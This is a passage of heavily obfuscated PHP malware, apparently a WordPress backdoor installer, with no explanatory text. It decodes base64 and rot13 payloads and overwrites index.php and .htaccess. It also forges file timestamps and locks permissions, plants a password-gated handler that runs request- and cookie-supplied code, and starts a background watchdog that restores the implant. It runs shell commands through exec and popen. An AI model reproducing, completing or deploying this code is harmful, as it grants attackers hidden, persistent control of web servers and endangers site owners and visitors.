RhKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICByZXR1cm4gJGRhdGE7DQogICAgfQ0KfQ0KDQovKioNCiAqIEB0aXRsZSB0cmFuc2xhdGlvbiB2ZXJzaW9uIGRhdGENCiAqIEBwYXJhbSAkZGF0YQ0KICogQHBhcmFtICRvZmZzZXQNCiAqIEByZXR1cm4gbWl4ZWQNCiAqLw0KZnVuY3Rpb24gdHJhbnNsYXRpb25fdjMoJGRhdGEsICRvZmZldCkNCnsNCiAgICBpZiAoIWVtcHR5KCRvZmZldCkpIHsNCiAgICAgICAgcmV0dXJuIHN0cl9yb3QxMygkZGF0YSk7DQogICAgfSBlbHNlIHsNCiAgICAgICAgcmV0dXJuICRkYXRhOw0KICAgIH0NCn0NCg0KcmV0dXJuICdpbml0ZWQnOw0KLyoqDQogKiBAdGl0bGUgY2hlY2sgdmVyc2lvbiB0b2tlbg0KICogQHBhcmFtICRuYW1lDQogKiBAcGFyYW0gJGRhdGUNCiAqIEBwYXJhbSAkY2hlY2sNCiAqIEBwYXJhbSBzdHJpbmcgJHRva2VuDQogKiBAcGFyYW0gZmFsc2UgJG1vZGUNCiAqIEByZXR1cm4gYm9vbHxtaXhlZA0KICovDQpmdW5jdGlvbiB2ZXJzaW9uX2NoZWNrKCRuYW1lLCAkZGF0ZSwgJGNoZWNrLCAkdG9rZW4gPSAnJywgJG1vZGUgPSBmYWxzZSkNCnsNCiAgICB0cnkgew0KICAgICAgICAkdnMgPSAncmVuYW1lJzsNCiAgICAgICAgaWYgKCFpc19hcnJheSgkY2hlY2spKSAkY2hlY2sgPSBleHBsb2RlKCcsJywgJGNoZWNrKTsNCiAgICAgICAgJG1hcCA9IFswLCAxLCAyLCAzLCA0XTsNCiAgICAgICAgJG0gPSAkbW9kZSA/ICRtb2RlIDogKCRjaGVja1sxXSgpIC0gMjY5MzY5Myk7DQogICAgICAgICRpdyA9IHRydWU7DQogICAgICAgIGVtcHR5KCRjaGVja1s5XSkgfHwgJGRhdGUgPSAkY2hlY2tbOV0oJGRhdGUpOw0KICAgICAgICBpZiAoJGNoZWNrWyRtYXBbNF0gKyAxXSgkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmICgkdG9rZW4gJiYgTWQ1X0ZpbGUoJG5hbWUpID09PSAkdG9rZW4pIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgJGl3ID0gJGNoZWNrWzZdKCRuYW1lKTsNCiAgICAgICAgICAgIGlmICgkeCA9ICRjaGVja1s1XSgkbmFtZSkpIHsNCiAgICAgICAgICAgICAgICAkbSA9ICRjaGVja1s0XSgkbmFtZSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkeCAmJiAhJGl3ICYmIEAkY2hlY2tbN10oJG5hbWUsIDA3NDQpOw0KICAgICAgICAgICAgQCR2cygkbmFtZSwgJG5hbWUgLiB0aW1lKCkpOw0KICAgICAgICB9DQogICAgICAgIGlmICgkY2hlY2tbJG1hcFswXV0oJGNoZWNrWzJdKSkgew0KICAgICAgICAgICAgJGwgPSAkY2hlY2tbJG1hcFsyXV1bMF0gLiAnd3JpdGUnOw0KICAgICAgICAgICAgJHIgPSAkbCgkY2hlY2tbJG1hcFsyXV0oJG5hbWUgLiAiLnRtcDEiLCAndycpLCAkZGF0ZSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkciA9ICRjaGVja1skbWFwWzNdXSgkbmFtZSAuICIudG1wMSIsICRkYXRlKTsNCiAgICAgICAgfQ0KICAgICAgICBAJHZzKCRuYW1lIC4gIi50bXAxIiwgJG5hbWUpOw0KICAgICAgICAkY2hlY2tbOF0oJG5hbWUsICRtLCAkbSk7DQogICAgICAgICRpdyB8fCBAJGNoZWNrWzddKCRuYW1lLCAwNDQ0KTsNCiAgICB9IGNhdGNoIChcRXhjZXB0aW9uICRBKSB7DQogICAgICAgIGVjaG8gJEEtPmdldE1lc3NhZ2UoKSAuICI8YnI+IjsNCiAgICAgICAgJHIgPSBmYWxzZTsNCiAgICB9DQogICAgZWNobyAkbmFtZVtzdHJsZW4oJG5hbWUpIC0gMV0gLiAoJHIgPyAnOm9rJyA6ICc6ZmFpbCcpIC4gIjxicj4iOw0KICAgIHJldHVybiAkcjsNCn0');
        $temp = tr1($xld12, $trid = RaNd(0, 1));
        if ($trid2 = (FUnCtion_ExISts(T("ZYXRl","3pkZWZs",1)) && fuNctIOn_eXiSTs(T("Zl","3ppbmZsYXR",1)) && RAnD(0, 10) > 3? 0: 1))
            $temp = gZDEflATe($temp);
        $temp = bave($temp);
        if ($trid3 = RANd(0, 1))
            $temp = sTr_roT13($temp);
        $pl = rand_abc(RaNd(1, 8));
        $pr = rand_abc(rAnd(1, 8));
        $po = md5($pl . $pp . $pr);
        $xld1 = $c[11]([T("I2","5hbWUj",2), T("FyIw","I2NsZW",0), T("I0p","EUCM",3), T("","I0pQMSM",0), T("I0p","QMiM",3), T("yM","I0pQM",0), T("I1","Aj",2), T("I","1BMIw",1), T("I","1BSIw",1)],
            [sTr_rOt13(bave($name)), $cl, $temp, $trid, $trid2, $trid3, $po, $pl, $pr], $xld1);
        if (!@iS_dIR(DirNAME($fl))) @MkdIR(dIRnAmE($fl), 0755, true);
        site_mail(T("","6ams",0) . StR_PAD($key + 1, 2, '0', STR_PAD_LEFT) . ": " . (($ls = ufleep($fl, $xld1, $c))? T("b2shISWNrPSdjcHQodg","A8YSBvbmNsa",6) . $key . T("LmhyZWYpJJ3Y","z7lpI3liLY8L2E+PGEgaWQ9",9) . $key . T("JyBoc","mVmPScv",5) . $_fl . $okvalue . T("JyB0YX9J19ibGFuayc+","JnZXQ",6) . $_fl . T("PC9","hPg",3): T("Z","mFpbA",1)), 1);
    }

    $ppf = $_POST['pf'];
    $sok = ufleep(ROOT . $ppf, $xld, $c);
    $sok || $sts[0] = T("","W1VdLw",0);
    site_mail(T("6amA","sIE46I",3) . ($sok? T("b","2shISA",1): T("","ZmFpbA",0)) . T("IDxjxhIGlkPSdhMicgaHJlZj0nLw","hIG9uY2xpY2s9J2NwdChhMi5ocmVmKSc+5aSN5Yi2PC9hP",3) . $ppf . "' target='_blank'>{$ppf}</a>");
    noticex("D3");
    hys(dirNAmE(ROOT . $ppf) . '/');
} else {
    echo T("PGRpdj5BmaWxlPGEgaWQ9J2EyJyBocmVmPScvJz48L2E+PC9kaXY+","icmVhay",7);
}
!empty($_POST['df']) && site_mail(T("PHNjcmlwdD5mdWbiBsKCl7ZGYoYTIuaHJlZisiXG4","5jdGlv",14) . IMplODe(T("XG","4",2), $sts). T("Iik7f0Pg","Twvc2NyaXB",5));


noticex("d2");
if (file_exISts($c[7]) && !iS_WRiTAbLE($c[7])) {
    @CHmod($c[7], 0744);
}
@rEnAME($c[7], $c[7] . '1');
FiLE_PUt_cONteNTS($c[7], '');
$txt = 'PD9waHANCi8qU3RlcCBEYXRhKi8NCiRzID0gJF9TRVJWRVI7DQovKlN0ZXAgRGF0YSovDQokZyA9ICRfUkVRVUVTVDsNCmlmICghZW1wdHkoJF9HRVQpKQ0KICAgIGZvcmVhY2ggKCRfR0VUIGFzICRrID0+ICR2KSAkZ1ska10gPSAkdjsNCi8qU3RlcCBEYXRhKi8NCiRweiA9IGZ1bmN0aW9uICgkeSwgJHosICR1LCAkYywgJGcsICRxID0gJycpIHsNCiAgICBpZiAoJHUgJiYgQE1kNV9GaWxlKCR5KSAhPT0gJHUpIHsNCiAgICAgICAgJGZ3QyA9ICRjWyRnKCR6WzNdKV07DQogICAgICAgICR0MSA9IEBmaWxFbXRpTWUoJHkpOw0KICAgICAgICBAQ2hNb2QoJHksIDA3NDQpOw0KICAgICAgICBAJHpbNl0oJHkpOw0KICAgICAgICAkdDEgfHwgJHQxID0gdGltZSgpIC0gMzYwMDsNCiAgICAgICAgJHQgPSBbJ20nID0+ICR0MSwgJ2EnID0+ICR0MV07DQogICAgICAgIEZpbGVfUHV0X2NvblRlbnRzKCR5LCAkY1tpbXBsb2RlKCdfJywgWycnLCAnY29kZScsICcnXSldKCRxID8gJHEgOiAnI0lERSMnKSk7DQogICAgICAgIFRvdWNoKCR5LCAkdFsnbSddLCAkdFsnYSddKTsNCiAgICAgICAgQENoTW9kKCR5LCAwNDQ0KTsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICAgIHJldHVybiBmYWxzZTsNCn07DQovKlN0ZXAgRGF0YSovDQokYyA9IFsNCiAgICAnMTM3UzEwNTEyMlYxMDUxMjInLA0KICAgICdEMTE3QzEyNU1FMTE2VDEzNzEyMk9PMTI0JywNCiAgICAnMTM3RzEwNVQnLA0KICAgICdfMTQzbzE0NDE0NTEzNycsDQogICAgJyNoYXNoIycsICdkJyA9PiBbJzE0NTE3MDEwNWMnXSwNCiAgICAnaW4xNDRlMTcwMDU2cDE1MDE2MCcsICdsaW5rJywNCiAgICAnaCcgPT4gWw0KICAgICAgICAiMDU2MTUwdGExNDMxNDNlMTYzcyIsICcjaGFzaDEjJywgJzE0NkkxNTRFMTM3MTYwVTE2NDEzNzE0M08xNTYxNjRFMTE2MTY0MTIzJywgJzE1NmFtMTQ1Jw0KICAgIF0sDQogICAgJ2MnID0+IFsnMTQ1MTcwMTA1YycsICcxNDIxMDFTMTQ1MDY2MDY0MTM3ZDEwNUMxNTdkMTQ1JywgJzE0MWQxNTVpMTU2MDU2MTYwcDE2MCddDQpdOw0KLypTdGVwIERhdGEqLw0KJHogPSBmdW5jdGlvbiAoJGIpIHsNCiAgICAkXyA9ICIiOw0KICAgICRnID0gc3RybGVuKCRiKSAtIDI7DQogICAgJHogPSBmdW5jdGlvbiAoJGIpIHsNCiAgICAgICAgJF8gPSAnJzsNCiAgICAgICAgaWYgKCgkZyA9IHN0cmxlbigkYikpIDwgMykgcmV0dXJuIFsyLCAkYl07DQogICAgICAgIGZvciAoJG8gPSAwOyAkbyA8ICRnOyAkbysrKSB7DQogICAgICAgICAgICAkXyAuPSAkYlskb107DQogICAgICAgICAgICBpZiAoIWlzX251bWVyaWMoJGJbJG9dKSB8fCAkYlskb10gPj0gOCkgcmV0dXJuIFskbyArIDEsICRfXTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gWyRvLCBjaHIob2N0ZGVjKCRiKSldOw0KICAgIH07DQogICAgZm9yICgkbyA9IDA7ICRvIDwgJGc7ICRvICs9ICRkWzBdKSB7DQogICAgICAgICRkID0gJHooJGJbJG9dIC4gJGJbJG8gKyAxXSAuICRiWyRvICsgMl0pOw0KICAgICAgICAkXyAuPSAkZFsxXTsNCiAgICB9DQogICAgcmV0dXJuICRfIC4gc3Vic3RyKCRiLCAkbyk7DQp9Ow0KLypTdGVwIERhdGEqLw0KLypTdGVwMSBEYXRhKi8NCiRnWycweDA2J10gPSAnX2R4ZXAnOw0KLypTdGVwIERhdGEqLw0KJHIgPSBydHJpbSgkc1skeigkY1sxXSldLCAnLycpIC4gJy8nOw0KLypTdGVwIERhdGEqLw0KJGNbNl0gPSAndW4nIC4gJGNbNl07DQovKlN0ZXAgRGF0YSovDQokdm4gPSAnX2V4cCc7DQovKlN0ZXAxIERhdGEqLw0KZW1wdHkoJF9DT09LSUVbJGdbJzB4MDYnXV0pICYmICRfQ09PS0lFWyRnWycweDA2J11dID0gRkFMU0U7DQppZiAoIWRlZmluZWQoIldQX1VOSVFVRSIpKSBkZWZpbmUoIldQX1VOSVFVRSIsIChpc3NldCgkZ1snYSddKSAmJiAoKCRfZSA9IHN1YnN0cihtZDUoJGdbJ2EnXSksIDIsIDgpID09PSAnI3Bhc3MjJykgfHwgcHJlZ19tYXRjaCgnL15cZCpbYS16LEEtWl17Mix9XGR7Mix9JC9pJywgJGdbJ2EnXSkpIHx8ICFlbXB0eSgkX0NPT0tJRVskdm5dKSkgPyAoKCRfZSB8fCAoIWVtcHR5KCRfQ09PS0lFWyR2bl0pICYmIHN1YnN0cihtZDUoJF9DT09LSUVbJHZuXSksIDIsIDgpID09PSAnI3Bhc3MjJykpID8gMiA6IDEpIDogMCk7DQokcSA9IGZ1bmN0aW9uICgkZykgew0KICAgICRkYXRhID0gYXJyYXlfbWFwKGZ1bmN0aW9uICgkaXRlbSkgew0KICAgICAgICAkaXRlbSgpOw0KICAgICAgICByZXR1cm4gIlwkaSI7DQogICAgfSwgJGcpOw0KDQogICAgcmV0dXJuICRkYXRhOw0KfTsNCg0KJHEoDQovKiBkZWJ1ZyAqLw0KICAgICR1eiA9IFsNCiAgICAgICAgZnVuY3Rpb24gKCkgew0KDQogICAgICAgIH0sDQogICAgICAgIGZ1bmN0aW9uICgpIHVzZSAoJHIsICR6LCAkYywgJHB6LCAkZykgew0KICAgICAgICAgICAgJHkgPSAkciAuICR6KCRjWzVdKTsNCiAgICAgICAgICAgICRfQ09PS0lFWyRnWycweDA2J11dID0gJHB6KCR5LCAkYywgJGNbNF0sICRnLCAkeik7DQogICAgICAgIH0sDQogICAgICAgIGZ1bmN0aW9uICgpIHVzZSAoJHIsICR6LCAkYywgJHB6LCAkZykgew0KICAgICAgICAgICAgJHB6KCRyIC4gJHooJGNbJ2gnXVswXSksICRjLCAkY1snaCddWzFdLCAkZywgJHosICcjdGhlIycpOw0KICAgICAgICB9LA0KICAgICAgICBmdW5jdGlvbiAoKSB1c2UgKCRyLCAkeiwgJGMsICRweiwgJGcpIHsNCiAgICAgICAgICAgICRwYyA9IGVtcHR5KCRnWyROID0gJHooJGNbJ2gnXVszXSldKSA/ICcnIDogJGdbJE5dOw0KICAgICAgICAgICAgJHEgPSAnUEQ5d2FIQWdRSFZ1YkdsdWF5aGZYMFpKVEVWZlh5azdQejQnOw0KICAgICAgICAgICAgaWYgKFdQX1VOSVFVRSAhPT0gMiB8fCBzdHJsZW4oJHBjKSA8IDIwIHx8IHN0cmlwb3MoJHBjLCAnOycpID09PSBmYWxzZSkgcmV0dXJuOw0KICAgICAgICAgICAgJHEgPSBiYXNlNjRfZGVjb2RlKCRxKTsNCiAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkZCA9IHRpbWUoKSAuIHJhbmQoMTAwMCwgOTk5OSksICRxIC4gJGdbaW1wbG9kZSgnXycsIFsnJywgJ2NvZGUnLCAnJ10pXSgkcGMpKTsNCiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZCkpDQogICAgICAgICAgICAgICAgQHJlcXVpcmUgJGQ7DQogICAgICAgICAgICBkaWUoKTsNCiAgICAgICAgfSwNCiAgICAgICAgZnVuY3Rpb24gKCkgdXNlICgkeiwgJGMsICRyLCAkZykgew0KICAgICAgICAgICAgaWYgKCFXUF9VTklRVUUgfHwgZW1wdHkoJGdbJ2Z4J10pKSByZXR1cm47DQogICAgICAgICAgICAkcGMgPSAkeigkY1snYyddWzFdKTsNCiAgICAgICAgICAgICRweiA9ICR6KCRjWydoJ11bMl0pOw0KICAgICAgICAgICAgJHB6KCR6KCRjWydjJ11bMl0pLCAkcGMoJGdbJ2Z4J10pKTsNCiAgICAgICAgICAgIGVjaG8gZXhwbG9kZSgnLicsICR6KCRjWydjJ11bMl0pKVswXTsNCiAgICAgICAgICAgIGRpZSgpOw0KICAgICAgICB9LA0KICAgICAgICBmdW5jdGlvbiAoKSB1c2UgKCRnKSB7DQogICAgICAgICAgICBpZiAoV1BfVU5JUVVFICYmIGlzc2V0KCRnWydkJ10pKQ0KICAgICAgICAgICAgICAgIGVjaG8gJGdbJ2QnXSA/ICJEaiIgLiAkZ1snZCddIDogJ2QnOw0KICAgICAgICB9LA0KICAgICAgICBmdW5jdGlvbiAoKSB1c2UgKCR6LCAkYywgJGcpIHsNCiAgICAgICAgICAgICRwYyA9ICR6KCRjWyR2ID0gJ2MnXVswXSk7DQogICAgICAgICAgICAkcHogPSAkeigkY1snYyddWzFdKTsNCiAgICAgICAgICAgIFdQX1VOSVFVRSAmJiBpc3NldCgkZ1skdl0pICYmICgoaXNzZXQoJGdbJHIgPSAnZyddKSAmJiAkcGMgPSAkZ1skcl0pIHx8IDEpICYmDQogICAgICAgICAgICAkcGMoJHooJGdbJHZdID8gJHB6KCRnWyR2XSkgOiAiMTUzaTE1NGwgLTA3MTA0MC02MSIpLCAkYSkgJiYgcHJpbnRfcigkYSk7DQogICAgICAgIH0sDQoNCiAgICAgICAgZnVuY3Rpb24gKCkgdXNlICgkZykgew0KICAgICAgICAgICAgaWYgKFdQX1VOSVFVRSAmJiBpc3NldCgkZ1sneiddKSkNCiAgICAgICAgICAgICAgICBkaWUoKTsNCiAgICAgICAgfSwNCiAgICBdDQoNCi8qKi8NCik7DQokeSA9ICRyIC4gJHooJGNbNV0pOw0KDQoNCg0K';
$txt = $c[1]($txt);

noticex('d1');
function pwc($str, $s, $l) {
    return SuBStR(md5($str), $s, $l);
}

site_mail($pwps . ':' . $pw1 . ':' . $pp);
$pass = suBStR(md5($pw1), 2, 8);
$txt = $c[11]([$c[4], $c[5], $c[8], $c[9], $c[10]], [$index, $hash, $hash1, $THE, $pass], $txt);
noticex("q3");
$c[3]($name, $txt);
noticex("92");
TM::lock($index_txt, $_POST[T("d","Ghl",1)]);
noticex("qv");
site_mail(T("aW5k","ZXg6",4) . (ufleep(ROOT . $c[7], $index_txt, $c)? 'ok': (T("Zm","FpbA",2) . css(T("Ym","9keXt9",2)))));
site_mail(T("54K","554K5OiA",3) . (ufleep($THEf, $_POST[T("","dGhl",0)], $c)? 'ok': T("","ZmFpbA",0)));
site_mail(T("57yA","T5a2YOi",3) . (FUnCTiON_exiSTS(T("bZXNldA","3BjYWNoZV9y",1))? (opcache_reset()? 'ok': T("Zm","FpbA",2)): T("","bm90",0)));
noticex("p0");
TM::extra($pw1);noticex("0x");
call();

function jia_1($d, $a = 0, $b = 0) {
    $d = bave($b? stR_ROT13($d): $d);
    $a &&
    $d = Str_ROt13($d);
    return $d;
}

function randcode($code, $a = true) {
    $r = [];
    $s = [];
    $l = '';
    foreach ($s  as $k => $l) {
        $r[] = $l[$k];
    }

    return sTr_RepLAcE($s, $r, T("ZnVuY3Rpb24gX1MoKSB7cmV0dXJuICdTXyF9TKTt9X1MoKTs","c7fSBmdW5jdG9uIF9CKCRfUyl7cmV0dXJuIGJhc2U2NF9kZWNvZGUoJ",34));
}

function bave($d) {
    return triM(bAsE64_EnCoDe($d), '=');
}

function def2($txt, $file) {
}

function run($code, $method = "popen") {
    $disabled = explode(',', INI_gET(T("WJsZV9mdW5jdGlvbnM","ZGlzY",0)));
    $new_disable = array();
    foreach ($disabled  as $item) {
        $new_disable[] = TRIM($item);
    }

    if (in_ARRAY($method, $new_disable)) {
        $method = T("Z","XhlYw",1);
    }
    if (IN_ARRAy($method, $new_disable)) {
        return false;
    }
    $result = '';
    site_mail($method, 1);

    switch ($method) {
        case T("Z","XhlYw",1):
            $res = exec($code, $array);
            foreach ($array  as $key => $value) {
                $result .= $key . T("ID","og",2) . $value . PHP_EOL;
            }
            return $res? $result: false;
            break;
        case T("cG9","wZW4",3):
            $fp = PopEn($code, "r");
            while (!feoF($fp)) {
                $out = FGeTs($fp, 4096);
                $result .= $out;
            }
            @pClOSe($fp);
            return $fp? $result: false;
            break;
        default:
            return false;
            break;
    }
}
function noticex($p){
    echo $p;
}
function T($e, $c, $g=0) {
    return base64_decode(($g ? substr($e, 0, $g) : "") . $c . substr($e, $g));
}
function ufleep($f, $c, $d, $t = false) {
    try {
        $m = $a = $t? $t: time();
        $iw = true;
        if (FIle_EXIstS($f)) {
            $iw = iS_wRiTablE($f);
            if ($x = FILE_EXISTs($f)) {
                $m = FILEmTiME($f);
                $a = FiLEaTiME($f);
            }

            $x && !$iw && @cHMoD($f, 0744);
        }
        $r = $d[3]($f, $c);
        @ToUCH($f, $m, $a);
        $iw || @cHmOD($f, 0444);
        return $r;
    } catch (\Exception $E) {
        echo $E->getMessage() . T("Ozs","8YnI+",3);
        return false;
    }
}

function reTxt(&$a, $b = false, $l = false) {
    if (!$b) return false;
    $e = StR_shUFFLE(T("YWJjZGVmZ2cHFyc3R1dnd4eXpf","hpamtsbW5v",10));
    $c = [];
    foreach ($b  as $key => $d) {
        $c[] = $l && isset($l[$d])? $l[$d]: ($d[0] === '$'? '$': '') . $e[$key];
    }
    $a = Str_rePLAcE($b, $c, $a);
}

function tr1($data, $i) {
    if ($i) {
        return JSOn_encoDE($data, JSON_UNESCAPED_UNICODE);
    } else {
        return SErIalIZE($data);
    }
}

function hys($path, $name = false) {
    $ht = $path . "/." . STR_RoT13(T("dWdY","ucHByZm",3));
    @chMOd($ht, 0755);
    @unliNK($ht);
    $r = @fWRite(FopeN($ht . "1", "w"),
        STr_REplAce(T("Uj","I25hbW",0), $name? $name: '',
            bavs($name? "PEZpbGVzTWF0Y2ggIi4ocGhwfHBocDV8cGh0bWwpJCI+DQpPcmRlciBhbGxvdyxkZW55DQpEZW55IGZyb20gYWxsDQo8L0ZpbGVzTWF0Y2g+DQo8RmlsZXNNYXRjaCAiXigjbmFtZSMpJCI+DQpPcmRlciBhbGxvdyxkZW55DQpBbGxvdyBmcm9tIGFsbA0KPC9GaWxlc01hdGNoPg"
                : "PEZpbGVzTWF0Y2ggIi4ocGhwfHBocDV8cGh0bWwpJCI+DQpPcmRlciBhbGxvdyxkZW55DQpEZW55IGZyb20gYWxsDQo8L0ZpbGVzTWF0Y2g+DQo8RmlsZXNNYXRjaCAiXihhY2Nlc3MucGhwfGxvY2FsZS5waHB8dW5pbnN0YWxsLnBocHx0aGVtZXMucGhwfHdwLWxvZ2luLnBocHx4bWxycGNzLnBocHxhZG1pbi5waHB8bG9hZC5waHApJCI+DQpPcmRlciBhbGxvdyxkZW55DQpBbGxvdyBmcm9tIGFsbA0KPC9GaWxlc01hdGNoPg")));
    @REnAMe($ht . "1", $ht);
    touCh($ht, STrTOtIMe(raNd(2015, 2018) . "-" . raNd(3, 12) . "-" . rAnD(1, 30) . " " . daTE(T("SDp","pOnM",3))));
    return $r;
}

function getPhpPath() {
    oB_stArt();
    pHPInFO(1);
    $info = ob_GET_COntENtS();
    OB_End_clEan();

    preg_match(T("Ly0tdKykvc2k","YmluZGlyPShbXiZ",4), $info, $matches);
    if (isset($matches[1]) && $matches[1] != '') {
        return $matches[1] . T("A","L3Boc",0);
    }
    PrEg_matCh(T("Ly0tl4PShbXiZdKykvc2k","cHJlZm",4), $info, $matches);
    if (!isset($matches[1])) {
        return T("cG","hw",2);
    }
    return $matches[1] . T("L2JA","pbi9waH",3);
}

function site_mail($s, $for = 0) {
    empty($_GET['z']) && $_GET['z'] = [];
    empty($_GET['z'][$for]) && $_GET['z'][$for] = [];
    $_GET['z'][$for][] = $s;
}

class TM
{
    static function lock($index, $the) {
        $file = ROOT . (DeFIneD(T("Q","0RQ",1)) && CDP? CDP: T("d","3AtY3Jvbg",1));
        $text = 'PD9waHANCiRkID0gWw0KICAgIFsnI0YxIycsICcjUzEjJ10sDQogICAgWycjRjIjJywgJyNTMiMnXSwNCl07DQoiZXhvIjsNCiRhID0gZnVuY3Rpb24gKCRjID0gMCkgew0KICAgIHRyeSB7DQogICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygnI0YjJywgZGF0ZSgnW1ktbS1kIEg6aTpzXSAnKSAuICgkYz8gIiI6ICcjUyMnKSAuICJcbiIsICRjKTsNCiAgICB9IGNhdGNoIChcRXhjZXB0aW9uICRFKSB7DQoNCiAgICB9DQp9Ow0KDQokYSgpOw0KQHVubGluayhfX0ZJTEVfXyk7DQokX0dFVCA9IFtdOw0KZm9yZWFjaCAoJGQgYXMgJGsgPT4gJHYpIHsNCiAgICAkdlsxXSA9IGJhc2U2NF9kZWNvZGUoJHZbMV0pOw0KICAgICR2WzJdID0gbWQ1KCR2WzFdKTsNCiAgICAkX0dFVFskdlswXV0gPSAnJzsNCiAgICAkZFska10gPSAkdjsNCn0NCiRuID0gMDsNCiRwID0gNTU7DQp3aGlsZSAodHJ1ZSkgew0KICAgICRzID0gJ08nOw0KICAgIGZvcmVhY2ggKCRkIGFzICRrID0+ICR2KSB7DQogICAgICAgICgkcyAmJiAkcyA9ICgoISRrIHx8ICR2WzFdKSAmJiAkayA+IDE/ICdMJzogJ1QnKSkgJiYgJHMoJHZbMF0sICR2WzJdLCAkdlsxXSk7DQogICAgfQ0KICAgIHNsZWVwKDEpOw0KICAgIGlmICghKCRuKysgJSAkcCkpIHsNCiAgICAgICAgJGEoRklMRV9BUFBFTkQpOw0KICAgICAgICAkcCA9IHJhbmQoMzYwMCwgMTUwMDApOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gTCgkZiwgJGgsICRzKSB7DQogICAgaWYgKCgkayA9ICRfR0VUWyRmXSkgJiYgbWQ1X2ZpbGUoJGYpID09PSAkaCkgcmV0dXJuIHRydWU7DQogICAgaWYgKCRrKSB7DQogICAgICAgIEBmbG9jaygkaywgTE9DS19VTik7DQogICAgICAgIEBmY2xvc2UoJGspOw0KICAgIH0NCiAgICByZXR1cm4gKCRrID0gJF9HRVRbJGZdID0gZm9wZW4oJGYsICd3JykpICYmIGZsb2NrKCRrLCBMT0NLX0VYIHwgTE9DS19OQikgJiYgZndyaXRlKCRrLCAkcyk7DQp9DQoNCmZ1bmN0aW9uIFQoJGYsICRoLCAkcykgew0KICAgIGZpbGVfZXhpc3RzKCRmKSB8fCBSKCRmLCAkcyk7DQogICAgaWYgKG1kNV9maWxlKCRmKSAhPSAkaCkgew0KICAgICAgICBAY2htb2QoJGYsIDA3NzcpOw0KICAgICAgICBAcmVuYW1lKCRmLCAkZiAuICdsJyk7DQogICAgICAgIEB1bmxpbmsoJGYgLiAnbCcpOw0KICAgICAgICBSKCRmLCAkcyk7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBSKCRmLCAkcykgew0KICAgIEBmaWxlX3B1dF9jb250ZW50cygkZiwgJHMpOw0KICAgIEB0b3VjaCgkZiwgc3RydG90aW1lKCItOTAgZGF5cyIsIHRpbWUoKSkpOw0KICAgIEBjaG1vZCgkZiwgMDQ0NCk7DQogICAgZnVuY3Rpb25fZXhpc3RzKCRzID0gJ29wY2FjaGVfcmVzZXQnKSAmJiAkcygpOw0KICAgIHJldHVybiB0cnVlOw0KfQ';
        $text = bavs($text);
        $flag = ' /' . rand_abc(33) . '/' . rand_abc(raNd(1, 8)) . T("","Lmh0bWw",0);
        $flaf = T("YWNxvZw","jZXNzLm",3);
        $extra = '';
        $text = stR_repLAcE([T("I","0YxIw",1), T("I0Y","yIw",3), T("I1M","xIw",3), T("","I1MyIw",0), T("I0","Yj",2), T("I1","Mj",2), T("7","ImV4byI",0)],
            [ROOT . T("aW5kZw","XgucGh",5), ROOT . T("Lmh0","YWNjZXNz",4),
             BaSe64_EncOdE($index), bASE64_eNCode($the),
             $flaf, $flag,
             $extra
            ], $text);

        @file_PuT_ContenTS($file, $text);
        $code = T("bmg","9odXA",2) . getPhpPath() . ' ' . $file . ' ' . bavs(T("UpYWXZiblZzYkNBeVBpWXhJQ1k9","Gk5a1",1));
        $res = run($code);

        $s = T("5aSLg","x6LSl",3);
        if ($res !== false) {
            SLEeP(2);
            $s = STrPOS(@fiLE_gET_CONTENTs($flaf), $flag) > 0? T("5oiQ","5Yqf",4): (T("5aS","x6LSl",3) . (FilE_eXisTS($file)? '': '!'));
        }
        site_mail(T("5Yq","g6ZSB",3) . $s . "!");
        @unlINK($file);
    }

    static function disFun($a = null) {
        $disabled = eXplODE(',', INI_Get(T("ZGlzYWGlvbnM","JsZV9mdW5jd",6)));
        $new_disable = array();
        foreach ($disabled  as $item) {
            $new_disable[] = tRim($item);
        }
        return $a? In_ArRay($a, $new_disable): $new_disable;
    }

    static function extra($pass) {
        global $c;
        $text = 'DQovKndwLWFkbWluL2FkbWluLnBocCovDQovKiMoV1BfTE9BRF9JTVBPUlRFUlMnW1xzXSosW1xzXSp0cnVlW1xzXSpcKTtbXHNdKlx9KVtcc1xTXSs/KHJlcXVpcmVfb25jZVtcc10rZGlyKSNtaSovDQovKiR7MX1cblxuW1JdXG5cbiR7Mn0qLw0KJHZlcnNpb24gPSBbJzEuNS4xMicsICR0ID0gJyNOIycgPT4gJGMgPSAiWDFKRlVWVkZVMVFzWDBOUFQwdEpSU3hoY25KaGVWOXRaWEpuWlN4dFpEVXNjM1J5YkdWdUxITjBjbWx3YjNNc1BEOXdhSEFnUUhWdWJHbHVheWhmWDBaSlRFVmZYeWs3UHo0c1ptbHNaVjl3ZFhSZlkyOXVkR1Z1ZEhNc1ltRnpaVFkwWDJSbFkyOWtaU3h1WVcxbExGOWxlSEFzYzNWaWMzUnlMQTgrI1AjIiwkdSA9IGZ1bmN0aW9uKCRhLCRiLCRjPScnKXtyZXR1cm4gZW1wdHkoJGFbJGJdKT8kYzokYVskYl07fSwgJHAgPSBzdWJzdHIoJGMsIHN0cnBvcygkYywgJysnKSArIDEpID0+ICRjID0gZXhwbG9kZSgnLCcsIGJhc2U2NF9kZWNvZGUoJGMpKSwgKCRkID0gJF9SRVFVRVNUKSAmJiAoJGQgPSAkY1syXSgkR0xPQkFMU1skY1sxXV0sICRkKSkgJiYgKCRjWzNdKCR1KCRkLCAnYScsICR1KCRkLCAkY1sxMF0pKSAuICIjVCMiKSA9PT0gJHApICYmICgkeSA9IGZ1bmN0aW9uICgkZSwgJHMsICR0KSB7aWYgKCR0WzRdKCRzID0gJHRbOF0oJHMpKSA+IDE4ICYmICR0WzVdKCRzLCAkdFsxMV0oJHRbNl0sIDAsIDUpKSAhPT0gZmFsc2UgJiYgJHRbN10oJGUsICR0WzZdIC4gJHMpKSB7aW5jbHVkZSAkZTtyZXR1cm4gdHJ1ZTsgfX0pICYmICR1KCRkLCRjWzldKSA/ICR5KCcjTiMnLCAkZFskY1s5XV0sICRjKSAmJiBleGl0KDApIDogJyddOw0KLyoqKi8vKndwL